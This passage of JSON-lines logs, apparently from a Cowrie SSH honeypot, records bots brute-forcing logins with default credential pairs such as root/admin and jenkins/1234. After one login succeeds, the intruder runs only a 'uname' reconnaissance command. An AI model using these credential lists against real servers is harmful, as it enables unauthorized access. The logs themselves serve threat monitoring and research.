f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:09.553813Z","src_ip":"168.167.228.74","session":"cb251c6bcaf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user001","password":"123456","message":"login attempt [user001/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:10.620052Z","src_ip":"168.167.228.74","session":"cb251c6bcaf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41488,"dst_ip":"10.17.0.5","dst_port":22,"session":"5da8f10ccc98","protocol":"ssh","message":"New connection: 91.92.42.227:41488 (10.17.0.5:22) [session: 5da8f10ccc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:11.134889Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:11.880417Z","src_ip":"168.167.228.74","session":"cb251c6bcaf3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:11.940746Z","src_ip":"91.92.42.227","session":"5da8f10ccc98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:11.962130Z","src_ip":"91.92.42.227","session":"5da8f10ccc98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:14.553486Z","src_ip":"91.92.42.227","session":"5da8f10ccc98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:16.340561Z","src_ip":"91.92.42.227","session":"5da8f10ccc98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54004,"dst_ip":"10.17.0.5","dst_port":22,"session":"58db8afb9bc8","protocol":"ssh","message":"New connection: 91.92.42.227:54004 (10.17.0.5:22) [session: 58db8afb9bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:17.560886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:18.275276Z","src_ip":"91.92.42.227","session":"58db8afb9bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:18.281683Z","src_ip":"91.92.42.227","session":"58db8afb9bc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo","message":"login attempt [odoo17/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:22.053635Z","src_ip":"91.92.42.227","session":"58db8afb9bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:24.044232Z","src_ip":"91.92.42.227","session":"58db8afb9bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54112,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a90b480fb7","protocol":"ssh","message":"New connection: 91.92.42.227:54112 (10.17.0.5:22) [session: 92a90b480fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:24.513401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:25.338583Z","src_ip":"91.92.42.227","session":"92a90b480fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:25.343102Z","src_ip":"91.92.42.227","session":"92a90b480fb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:29.802898Z","src_ip":"91.92.42.227","session":"92a90b480fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:31.554696Z","src_ip":"91.92.42.227","session":"92a90b480fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58154,"dst_ip":"10.17.0.5","dst_port":22,"session":"91c1655b694c","protocol":"ssh","message":"New connection: 91.92.42.227:58154 (10.17.0.5:22) [session: 91c1655b694c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:32.563360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:32.954535Z","src_ip":"91.92.42.227","session":"91c1655b694c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:32.957716Z","src_ip":"91.92.42.227","session":"91c1655b694c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"12345678","message":"login attempt [www/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:34.588592Z","src_ip":"91.92.42.227","session":"91c1655b694c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:36.007427Z","src_ip":"91.92.42.227","session":"91c1655b694c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40198,"dst_ip":"10.17.0.5","dst_port":22,"session":"f448bf0b837e","protocol":"ssh","message":"New connection: 91.92.42.227:40198 (10.17.0.5:22) [session: f448bf0b837e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:40.497777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:40.529223Z","src_ip":"91.92.42.227","session":"f448bf0b837e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:40.604285Z","src_ip":"91.92.42.227","session":"f448bf0b837e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:41.719478Z","src_ip":"91.92.42.227","session":"f448bf0b837e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:42.986176Z","src_ip":"91.92.42.227","session":"f448bf0b837e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60426,"dst_ip":"10.17.0.5","dst_port":22,"session":"463a8865a07e","protocol":"ssh","message":"New connection: 91.92.42.227:60426 (10.17.0.5:22) [session: 463a8865a07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:47.032432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:47.293647Z","src_ip":"91.92.42.227","session":"463a8865a07e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:47.296813Z","src_ip":"91.92.42.227","session":"463a8865a07e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:48.827341Z","src_ip":"91.92.42.227","session":"463a8865a07e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:50.341662Z","src_ip":"91.92.42.227","session":"463a8865a07e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60458,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c413efb9ac3","protocol":"ssh","message":"New connection: 91.92.42.227:60458 (10.17.0.5:22) [session: 9c413efb9ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:53.639471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:54.359576Z","src_ip":"91.92.42.227","session":"9c413efb9ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:54.362757Z","src_ip":"91.92.42.227","session":"9c413efb9ac3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:56.323593Z","src_ip":"91.92.42.227","session":"9c413efb9ac3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:57.382591Z","src_ip":"91.92.42.227","session":"9c413efb9ac3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:57.386426Z","src_ip":"91.92.42.227","session":"9c413efb9ac3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:57.928723Z","src_ip":"91.92.42.227","session":"9c413efb9ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:57.933007Z","src_ip":"91.92.42.227","session":"9c413efb9ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36374,"dst_ip":"10.17.0.5","dst_port":22,"session":"193ff4cca4c6","protocol":"ssh","message":"New connection: 91.92.42.227:36374 (10.17.0.5:22) [session: 193ff4cca4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:00.093895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:00.731862Z","src_ip":"91.92.42.227","session":"193ff4cca4c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:00.735196Z","src_ip":"91.92.42.227","session":"193ff4cca4c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:03.612661Z","src_ip":"91.92.42.227","session":"193ff4cca4c6","protocol":"ssh"}
